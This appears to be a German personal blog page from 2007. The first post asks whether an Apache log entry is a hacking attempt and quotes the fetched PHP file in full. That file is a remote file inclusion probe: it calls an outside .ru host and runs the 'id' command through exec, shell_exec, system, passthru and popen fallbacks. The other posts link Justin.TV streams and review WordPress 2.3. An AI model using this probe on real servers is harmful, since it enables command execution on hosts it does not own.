Einbruchversuch/Hack oder harmlos?

Habe seit einigen Tagen in einem error.log (von Apache) immer wieder folgende Zeile stehen:

File does not exist: /LOKALERPFADZUMPROJEKT/@rfihttp://www.ryjyk.ru/phpBB2/language/id.txt

und frage mich, ob das ein versuchter Hack ist oder “nur” ein fehlgeleitetes Script.

Wer kann mir dazu etwas sagen bitte? Weiß nicht, wonach ich suchen soll und der Code ist für mich nicht verständlich. Der Inhalt der Datei, auf die verwiesen wird:

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;


Tags: apache, hacking, security, sicherheit

Justin.TV - Dealer, Sarah and iJustine

Bin gestern Abend durch NickStarr wieder mal auf Justin.TV gelandet - und eines im voraus: Ansehen der Live-Streams nur auf eigene Gefahr und (vor allem Dealer) wenn möglich nur, wenn man viel, viel Zeit hat!

DEALER
Watch dealer live video and chat on Justin.tv

SARAH MEYERS (from SarahMeyers.net)
Watch sarah live video and chat on Justin.tv

iJUSTINE
Watch ijustine live video and chat on Justin.tv

Upgrade auf WordPress 2.3 “Dexter”

Gestern (24. September 2007) hätte WordPress 2.3 erscheinen sollen, habe den ganzen Tag gespannt darauf gewartet aber es ist noch immer nicht erst seit heute 04:00 Uhr früh verfügbar. Also an dieser Stelle VORERST kein Bericht. Diese Ausgabe hört auf den Namen WordPress 2.3 “Dexter” und hat diesen vom Tenorsaxophonisten Dexter Gordon (Wikipedia weiß mehr) .

ÜBRIGENS: 6 Minuten nachdem ich diesen Beitrag das erste Mal veröffentlicht habe wurde die WP Version 2.3 freigegeben. Timing ist eben alles!

Die aktuelle Version beinhaltet scheinbar eine Menge Veränderungen über die ich im Laufe des Tages berichten werde sobald die ersten Blogs umgestellt sind und ich Erfahrungen damit gemacht habe. Die Testinstallation der Beta-Version, die ich von einem USB-Stick laufen ließ (inklusive kompletter Webserver-Umgebung, dazu später mehr) sah jedenfalls vielversprechend aus.

In Kürze:

• eingebauter Tagging-Support inklusive Import-Tools für die bekanntesten PlugIns wie Ultimate Tag Warrior, Jerome’s Keywords, Simple Tags und Bunny’s Technorati Tag-PlugIn
• automatische Update-Benachrichtigung auch bei PlugIn-Änderungen
• das URL-Handling wurde geändert bzw. erweitert (bin mir da aber nicht sicher, was genau, weil ich dafür eigene Anpassungen laufen habe/hatte)
• endlich eine Review-Funktion (nur interessant, wenn mehrere Personen am selben Projekt arbeiten)
• beim Editor (TinyMCE) wurden einige vorher versteckte Funktionen sozusagen freigegeben (auch dazu kann ich nichts genaueres sagen da ich das ebenfalls bereits selbst angepasst habe!)
• es wurden über 350 Tickets geschlossen (siehe trac.wordpress.org)

UPDATES:

• Ja, ich weiß daß da eine Zeile viel zu lang ist aber weder im Editor noch im Quellcode ist da etwas anormales zu sehen. Hatte das Problem schon vor ein paar Tagen bei dem Eintrag mit den vielen Screenshots, verschwand nach ewiger Fehlersuche “einfach so”.
• das erste ohne separatem PlugIn “getaggede” (getaggte/getaggete/taggede/?) Post

Tags: backup, erfahrungsbericht, update, upgrade, WordPress